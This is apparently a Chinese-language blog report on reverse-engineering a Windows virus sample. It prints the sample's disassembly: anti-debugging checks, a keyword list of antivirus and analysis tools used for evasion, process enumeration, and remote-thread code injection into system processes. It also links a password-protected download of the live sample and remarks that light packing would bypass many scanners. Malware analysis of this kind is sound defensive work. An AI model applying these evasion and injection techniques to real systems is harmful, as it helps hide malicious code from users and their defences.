收到一个病毒样本,被告知高危,需要进行逆向分析。分析完成之后写篇你想分析报告,第一次写病毒逆向报告,还不太会排版,见谅。
首先,先拿到病毒传到世界杀毒网上先看看检出率,不出意料,检出率还挺高(60 / 66),毕竟不算是特别新的病毒了, 但是在高检出率的同时,virustotal和腾讯的哈勃分析系统都没能检测到什么关键的病毒行为(腾讯只检出了打开事件,virustotal只检出Isdebuggerpresent调用),所以这个东西简单加个壳改一改就绕过了一堆杀软了
腾讯哈勃分析结果:哈勃分析结果页
virustotal分析结果:VirusTotal结果页
病毒样本下载:百度网盘
解压密码:virus
绕了一会儿
首先用PEDI查下壳发现是VC++的,并没有加壳。
拖进IDA查看下调用API列表,字符串等信息,然后看下关键API调用周围的伪代码,
不过一开始用IDA静态分析一直在他的主线程里面绕,并没有发现啥恶意行为,上OD给GetProcAddress下断,之前认为他是动态调用API,结果并没有断下,一开始做了半天无用功。。。。
OD载入
看了半天感觉这病毒把恶意代码给放到新创建的线程中了,然后再线程中通过动态调用API来躲避OD和IDA的函数调用检测。
1.OD 下用 BP CreateThread 给系统创建新线程API下断
成功断下,查看函数调用信息:
00127638 00A20594 /CALL 到 CreateThread 来自 00A20591
0012763C 00000000 |pSecurity = NULL
00127640 00000043 |StackSize = 43 (67.)
00127644 00A53F61 |ThreadFunction = 00A53F61 //新线程的起始地址
00127648 00A70081 |pThreadParm = 00A70081
0012764C 00000000 |CreationFlags = 0
00127650 00A2AEA0 \pThreadId = 00A2AEA0
2.给 00A53F61 地址下断,跟踪这个线程的执行流程
00A53F61 5D pop ebp //新线程的起始地址
00A53F62 5D pop ebp
00A53F63 60 pushad
00A53F64 E8 11000000 call 00A53F7A //Call 1
00A53F69 E8 00000000 call 00A53F6E //SEH处理函数
00A53F6E 58 pop eax
00A53F6F 8D88 0A030000 lea ecx,dword ptr ds:[eax+0x30A]
00A53F75 E9 DE0E0000 jmp 00A54E58
00A53F7A 64:FF35 0000000>push dword ptr fs:[0] //获取SEH链表
00A53F81 64:8925 0000000>mov dword ptr fs:[0],esp //添加SEH异常处理链表
00A53F88 8B8D D6070000 mov ecx,dword ptr ss:[ebp+0x7D6]
00A53F8E 8D81 8B74FFFF lea eax,dword ptr ds:[ecx-0x8B75]
00A53F94 50 push eax
00A53F95 05 3DFEFFFF add eax,-0x1C3
00A53F9A 50 push eax
00A53F9B C3 retn
3.继续 F8,发现调用了CreateMutex创建互斥体
00A53FC4 50 push eax
00A53FC5 6A 00 push 0x0
00A53FC7 FFB5 4A070000 push dword ptr ss:[ebp+0x74A]
00A53FCD FF55 00 call dword ptr ss:[ebp] //创建互斥体CreateMutexA
00A53FD0 85C0 test eax,eax
00A53FD2 0F84 A0020000 je 00A54278
00A53FD8 8985 12080000 mov dword ptr ss:[ebp+0x812],eax
00A53FDE 6A 00 push 0x0
00A53FE0 6A 00 push 0x0
00A53FE2 6A 00 push 0x0
00A53FE4 FF55 00 call dword ptr ss:[ebp] //创建互斥体kernel32.CreateMutexA
00A53FE7 85C0 test eax,eax
00A53FE9 0F84 89020000 je 00A54278
00A53FEF 8985 22080000 mov dword ptr ss:[ebp+0x822],eax
4.获取自身全路径,然后检测全路径中有无敏感词,敏感词列表:
00A5C0FE 7B 00 {.
00A5C10E 7D 00 24 00 74 65 6D 70 00 6E 6F 72 74 6F 6E 00 }.$.temp.norton.
00A5C11E 6D 63 61 66 65 65 00 61 6E 74 69 00 74 6D 70 00 mcafee.anti.tmp.
00A5C12E 73 65 63 75 72 65 00 75 70 78 00 66 6F 72 74 69 secure.upx.forti
00A5C13E 00 73 63 61 6E 00 7A 6F 6E 65 20 6C 61 62 73 00 .scan.zone labs.
00A5C14E 61 6C 61 72 6D 00 73 79 6D 61 6E 74 65 63 00 72 alarm.symantec.r
00A5C15E 65 74 69 6E 61 00 65 65 79 65 00 76 69 72 75 73 etina.eeye.virus
00A5C16E 00 66 69 72 65 77 61 6C 6C 00 73 70 69 64 65 72 .firewall.spider
00A5C17E 00 62 61 63 6B 64 6F 6F 72 00 64 72 77 65 62 00 .backdoor.drweb.
00A5C18E 76 69 72 69 00 64 65 62 75 67 00 70 61 6E 64 61 viri.debug.panda
00A5C19E 00 73 68 69 65 6C 64 00 6B 61 73 70 65 72 73 6B .shield.kaspersk
00A5C1AE 79 00 64 6F 63 74 6F 72 00 74 72 65 6E 64 20 6D y.doctor.trend m
00A5C1BE 69 63 72 6F 00 73 6F 6E 69 71 75 65 00 63 69 6C icro.sonique.cil
00A5C1CE 6C 69 6E 00 62 61 72 72 61 63 75 64 61 00 73 79 lin.barracuda.sy
00A5C1DE 67 61 74 65 00 72 65 73 63 75 65 00 70 65 62 75 gate.rescue.pebu
00A5C1EE 6E 64 6C 65 00 69 64 61 00 73 70 66 00 61 73 73 ndle.ida.spf.ass
00A5C1FE 65 6D 62 6C 65 00 70 6B 6C 69 74 65 00 61 73 70 emble.pklite.asp
00A5C20E 61 63 6B 00 64 69 73 61 73 6D 00 67 6C 61 64 69 ack.disasm.gladi
00A5C21E 61 74 6F 72 00 6F 72 74 20 65 78 70 6C 00 70 72 ator.ort expl.pr
00A5C22E 6F 63 65 73 73 00 65 6C 69 61 73 68 69 6D 00 74 ocess.eliashim.t
00A5C23E 64 73 33 00 73 74 61 72 66 6F 72 63 65 00 73 61 ds3.starforce.sa
00A5C24E 66 65 27 6E 27 73 65 63 00 61 76 78 00 72 6F 6F fe'n'sec.avx.roo
00A5C25E 74 00 62 75 72 6E 00 61 6C 61 64 64 69 6E 00 65 t.burn.aladdin.e
00A5C26E 73 61 66 65 00 6F 6C 6C 79 00 67 72 69 73 6F 66 safe.olly.grisof
00A5C27E 74 00 61 76 67 00 61 72 6D 6F 72 00 6E 75 6D 65 t.avg.armor.nume
00A5C28E 67 61 00 6D 69 72 63 00 73 6F 66 74 69 63 65 00 ga.mirc.softice.
00A5C29E 6E 6F 72 6D 61 6E 00 6E 65 6F 6C 69 74 65 00 74 norman.neolite.t
00A5C2AE 69 6E 79 00 6F 73 69 74 69 73 00 70 72 6F 78 79 iny.ositis.proxy
00A5C2BE 00 77 65 62 72 6F 6F 74 00 68 61 63 6B 00 73 70 .webroot.hack.sp
00A5C2CE 79 00 69 73 73 00 70 6B 77 61 72 65 00 62 6C 61 y.iss.pkware.bla
00A5C2DE 63 6B 69 63 65 00 6C 61 76 61 73 6F 66 74 00 61 ckice.lavasoft.a
00A5C2EE 77 61 72 65 00 70 65 63 6F 6D 70 61 63 74 00 63 ware.pecompact.c
00A5C2FE 6C 65 61 6E 00 68 75 6E 74 65 72 00 63 6F 6D 6D lean.hunter.comm
00A5C30E 6F 6E 00 6B 65 72 69 6F 00 72 6F 75 74 65 00 74 on.kerio.route.t
00A5C31E 72 6F 6A 61 6E 00 73 70 79 77 61 72 65 00 68 65 rojan.spyware.he
00A5C32E 61 6C 00 61 6C 77 69 6C 00 71 75 61 6C 79 73 00 al.alwil.qualys.
00A5C33E 74 65 6E 61 62 6C 65 00 61 76 61 73 74 00 61 32 tenable.avast.a2
00A5C34E 00 65 74 72 75 73 74 00 73 70 79 00 73 74 65 67 .etrust.spy.steg
00A5C35E 61 6E 6F 73 00 73 65 63 75 72 69 74 79 00 70 72 anos.security.pr
00A5C36E 69 6E 63 69 70 61 6C 00 61 67 6E 69 74 75 6D 00 incipal.agnitum.
00A5C37E 6F 75 74 70 6F 73 74 00 61 76 70 00 70 65 72 73 outpost.avp.pers
00A5C38E 6F 6E 61 6C 00 73 6F 66 74 77 69 6E 00 64 65 66 onal.softwin.def
00A5C39E 65 6E 64 65 72 00 69 6E 74 65 72 6D 75 74 65 00 ender.intermute.
00A5C3AE 67 75 61 72 64 00 69 6E 6F 63 75 6C 61 74 65 00 guard.inoculate.
00A5C3BE 73 6F 70 68 6F 73 00 66 72 69 73 6B 00 61 6C 77 sophos.frisk.alw
00A5C3CE 69 6C 00 70 72 6F 74 65 63 74 00 65 73 65 74 00 il.protect.eset.
00A5C3DE 6E 6F 64 33 32 00 66 2D 70 72 6F 74 00 61 76 77 nod32.f-prot.avw
00A5C3EE 69 6E 00 61 68 65 61 64 00 6E 65 72 6F 00 62 6C in.ahead.nero.bl
00A5C3FE 69 6E 64 77 72 69 74 65 00 63 6C 6F 6E 65 63 64 indwrite.clonecd
00A5C40E 00 65 6C 61 62 6F 72 61 74 65 00 73 6C 79 73 6F .elaborate.slyso
00A5C41E 66 74 00 68 69 6A 61 63 6B 00 72 6F 78 69 6F 00 ft.hijack.roxio.
00A5C42E 69 6D 61 70 69 00 6E 65 77 74 65 63 68 00 69 6E imapi.newtech.in
00A5C43E 66 6F 73 79 73 74 65 6D 73 00 61 64 61 70 74 65 fosystems.adapte
00A5C44E 63 00 73 77 69 66 74 20 73 6F 75 6E 64 00 63 6F c.swift sound.co
00A5C45E 70 79 73 74 61 72 00 61 73 74 6F 6E 73 6F 66 74 pystar.astonsoft
00A5C46E 00 67 65 61 72 20 73 6F 66 74 77 61 72 65 00 73 .gear software.s
00A5C47E 61 74 65 69 72 61 00 64 66 72 67 6E 74 66 73 00 ateira.dfrgntfs.
5.敏感词字符串对比函数
esi:自身的全路径 edi:检测列表
若未检测到则EAX值为0,检测到则为非0
00A54338 8A07 mov al,byte ptr ds:[edi]
00A5433A 84C0 test al,al
00A5433C 74 2A je short 00A54368
00A5433E 8A26 mov ah,byte ptr ds:[esi]
00A54340 84E4 test ah,ah
00A54342 74 24 je short 00A54368
00A54344 38E0 cmp al,ah
00A54346 75 1A jnz short 00A54362
00A54348 8BCE mov ecx,esi
00A5434A 8BD7 mov edx,edi
00A5434C 8A21 mov ah,byte ptr ds:[ecx]
00A5434E 8A02 mov al,byte ptr ds:[edx]
00A54350 84C0 test al,al
00A54352 74 11 je short 00A54365
00A54354 84E4 test ah,ah
00A54356 74 10 je short 00A54368
00A54358 38C4 cmp ah,al
00A5435A 75 04 jnz short 00A54360
00A5435C 41 inc ecx
00A5435D 42 inc edx
00A5435E ^ EB EC jmp short 00A5434C
00A54360 8A07 mov al,byte ptr ds:[edi]
00A54362 46 inc esi
00A54363 ^ EB D9 jmp short 00A5433E
00A54365 8BC6 mov eax,esi
00A54367 C3 retn
00A54368 33C0 xor eax,eax
00A5436A C3 retn
6.CreateThread又拦截了新线程的创建
00D3FF50 00A5B769 /CALL 到 CreateThread 来自 00A5B766
00D3FF54 00000000 |pSecurity = NULL
00D3FF58 00001000 |StackSize = 1000 (4096.)
00D3FF5C 00A5B3F8 |ThreadFunction = 00A5B3F8
00D3FF60 00A413C0 |pThreadParm = 00A413C0
00D3FF64 00000000 |CreationFlags = 0
00D3FF68 00A70974 \pThreadId = 00A70974
7.跟入新线程下断分析:
00A5B433 64:8925 0000000>mov dword ptr fs:[0],esp
00A5B43A 50 push eax
00A5B43B FF95 A4000000 call dword ptr ss:[ebp+0xA4]
00A5B441 FF77 36 push dword ptr ds:[edi+0x36]
00A5B444 50 push eax
00A5B445 FF95 A0000000 call dword ptr ss:[ebp+0xA0]
00A5B44B 8B8D AC000000 mov ecx,dword ptr ss:[ebp+0xAC] //调用Isdebuggerpresent反调试
00A5B451 E3 08 jecxz short 00A5B45B
00A5B453 FFD1 call ecx
00A5B455 0185 DE070000 add dword ptr ss:[ebp+0x7DE],eax
8.获取本机进程目录,进行遍历查询
00A547F7 6A 02 push 0x2
00A547F9 FF55 4C call dword ptr ss:[ebp+0x4C] //调用CreateToolhelp32Snapshot获取系统进程列表句柄
00A547FC 8BD8 mov ebx,eax
00A547FE 40 inc eax
00A547FF 0F84 CC000000 je 00A548D1
00A54805 8BF4 mov esi,esp
00A54807 C706 28010000 mov dword ptr ds:[esi],0x128
00A5480D 56 push esi
00A5480E 53 push ebx
00A5480F FF55 58 call dword ptr ss:[ebp+0x58] //调用Process32First拿到第一个进程句柄
00A54812 53 push ebx
00A54813 8D5E 24 lea ebx,dword ptr ds:[esi+0x24]
00A54816 53 push ebx
00A54817 FF95 00010000 call dword ptr ss:[ebp+0x100] //转小写
00A5481D 8BBD D6070000 mov edi,dword ptr ss:[ebp+0x7D6]
00A54823 81C7 2DF5FFFF add edi,-0xAD3
00A54829 E8 886D0000 call 00A5B5B6 //调用字符串比较函数
00A5482E 5B pop ebx
比对列表
00A5C03E 73 61 76 65 64 75 6D 70 00 64 75 6D 70 72 65 70 savedump.dumprep
00A5C04E 00 64 77 77 69 6E 00 64 72 77 74 73 6E 33 32 00 .dwwin.drwtsn32.
00A5C05E 64 72 77 61 74 73 6F 6E 00 6B 65 72 6E 65 6C 33 drwatson.kernel3
00A5C06E 32 2E 64 6C 6C 00 73 6D 73 73 00 63 73 72 73 73 2.dll.smss.csrss
00A5C07E 00 73 70 6F 6F 6C 73 76 00 63 74 66 6D 6F 6E 00 .spoolsv.ctfmon.
00A5C08E 74 65 6D 70 00 00 00 00 00 76 74 66 00 74 62 00 temp
9.对上面遍历到的存在的合适的进程进行远程线程注入
00A545CC 6A 01 push 0x1
00A545CE 6A 00 push 0x0
00A545D0 56 push esi
00A545D1 FF95 B0000000 call dword ptr ss:[ebp+0xB0] //CreateRemoteThread注入线程
00A545D7 97 xchg eax,edi
00A545D8 85FF test edi,edi
00A545DA 0F84 2F010000 je 00A5470F
00A545E0 EB 2D jmp short 00A5460F
00A545E2 E8 69FFFFFF call 00A54550
00A545E7 97 xchg eax,edi
00A545E8 85FF test edi,edi
00A545EA 0F84 1F010000 je 00A5470F
00A545F0 57 push edi
00A545F1 FF55 44 call dword ptr ss:[ebp+0x44]
00A545F4 83F8 00 cmp eax,0x0
00A545F7 0F85 0E010000 jnz 00A5470B //循环判断
00A545FD 57 push edi
00A545FE FF55 2C call dword ptr ss:[ebp+0x2C] //挂起线程SuspendThread
00A54601 40 inc eax
00A54602 0F84 03010000 je 00A5470B
00A54608 48 dec eax
00A54609 0F85 F8000000 jnz 00A54707
00A5460F 85DB test ebx,ebx
00A54611 74 18 je short 00A5462B
10.调用 VirutualAllocEX 在系统进程中申请空间,准备注入代码
00A54564 83BD E6070000 0>cmp dword ptr ss:[ebp+0x7E6],0x0
00A5456B 75 05 jnz short 00A54572
00A5456D E8 6AFFFFFF call 00A544DC
00A54572 894424 1C mov dword ptr ss:[esp+0x1C],eax
00A54576 61 popad
00A54577 C3 retn
00A54578 60 pushad
00A54579 83BD E6070000 0>cmp dword ptr ss:[ebp+0x7E6],0x0
00A54580 74 13 je short 00A54595
00A54582 6A 40 push 0x40
00A54584 68 00100000 push 0x1000
00A54589 50 push eax
00A5458A 6A 00 push 0x0
00A5458C 56 push esi
00A5458D FF95 B8000000 call dword ptr ss:[ebp+0xB8] //VirtualAllocEX(空间地址随机)
00A54593 EB 0D jmp short 00A545A2
00A54595 6A 40 push 0x40
00A54597 68 00100008 push 0x8001000
00A5459C 50 push eax
00A5459D 6A 00 push 0x0
00A5459F FF55 E7 call dword ptr ss:[ebp-0x19] ; kernel32.VirtualAlloc
00A545A2 894424 1C mov dword ptr ss:[esp+0x1C],eax
00A545A6 61 popad
00A545A7 C3 retn
00A545A8 33C0 xor eax,eax
00A545AA 60 pushad
00A545AB 8BDF mov ebx,edi
00A545AD 85FF test edi,edi
00A545AF 75 31 jnz short 00A545E2
00A545B1 83BD B0000000 0>cmp dword ptr ss:[ebp+0xB0],0x0
00A545B8 0F84 51010000 je 00A5470F
00A545BE 8D85 F3080000 lea eax,dword ptr ss:[ebp+0x8F3]
10.调用WriteProcessMemory写入刚分配的内存区域
00D6FAC8 00B446C9 /CALL 到 WriteProcessMemory 来自 00B446C6
00D6FACC 00000124 |hProcess = 00000124 (window) //进程句柄
00D6FAD0 00CD0000 |Address = 0xCD0000 //VirtualAlloc返回值
00D6FAD4 00B4D8C8 |Buffer = 00B4D8C8 //shellcode开始区
00D6FAD8 00007678 |BytesToWrite = 7678 (30328.) //写入长度
00D6FADC 00000000 \pBytesWritten = NULL
两次调用,覆盖写入
00B446C4 50 push eax
00B446C5 56 push esi
00B446C6 FF55 3C call dword ptr ss:[ebp+0x3C] //WriteProcessMemory 长度0x7678
00B446C9 85C0 test eax,eax
00B446CB 59 pop ecx
00B446CC 74 33 je short 00B44701
00B446CE 6A 00 push 0x0
00B446D0 68 0A000000 push 0xA
00B446D5 8D85 3F060000 lea eax,dword ptr ss:[ebp+0x63F]
00B446DB 50 push eax
00B446DC 81C1 FF020000 add ecx,0x2FF
00B446E2 51 push ecx
00B446E3 56 push esi
00B446E4 FF55 3C call dword ptr ss:[ebp+0x3C] //WriteProcessMemory 长度:0xA
00B446E7 85C0 test eax,eax
00B446E9 74 16 je short 00B44701
00B446EB C703 01000100 mov dword ptr ds:[ebx],0x10001
00B446F1 53 push ebx
00B446F2 57 push edi
11.调用SetThreadContext函数修改注入进程上下文,使注入代码执行
00B446EB C703 01000100 mov dword ptr ds:[ebx],0x10001
00B446F1 53 push ebx
00B446F2 57 push edi
00B446F3 FF55 40 call dword ptr ss:[ebp+0x40] ; SetThreadContext(threadid,pcontext)
00B446F6 85C0 test eax,eax
00B446F8 74 07 je short 00B44701
00B446FA FF8424 E8020000 inc dword ptr ss:[esp+0x2E8]
查看pcontext指针指向的内存区域
00D6FAD8 00B446F6 /CALL 到 SetThreadContext 来自 00B446F3
00D6FADC 0000011C |hThread = 0000011C (window)
00D6FAE0 00D6FAE4 \pContext = 00D6FAE4
内存区:
00D6FAE4 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
00D6FAF4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB74 38 00 00 00 23 00 00 00 23 00 00 00 00 00 00 00 8...#...#.......
00D6FB84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D6FB94 F8 C0 80 7C 00 00 00 00 5B 02 CD 00 1B 00 00 00 €|....[?...
偏移 0xB0 处为 EAX , 偏移 0xB8 处为 EIP
12.调用ResumeThread恢复线程,注入代码成功执行吗,所以这里不能直接步过这个函数,
建议下载 processhacker 这个工具,选择此次注入的进程(WriteProcessMemory调用时的进程句柄指向的,不会od看也可以用冰刃查看)双击。找刚刚查看的pcontext中eip的地址处,修改为无限循环(EB FE),原指令不要忘(60 9C),然后步过ResumeThread函数,用OD附件到注入的进程上,把原指令改回来就可以继续注入代码了。
跟踪后发现shellcode解密完就是其自身,代码通过注入完成复制。
程序通过Isdebuggerpresent,注册SEH和检测自身全路径来判断有没有被调试,把恶意行为放到新线程中,通过动态函数调用,来躲避静态反编译的API检测,通过远程线程注入,把自身代码注入到系统进程,然后通过上下文更改完成镜像切换。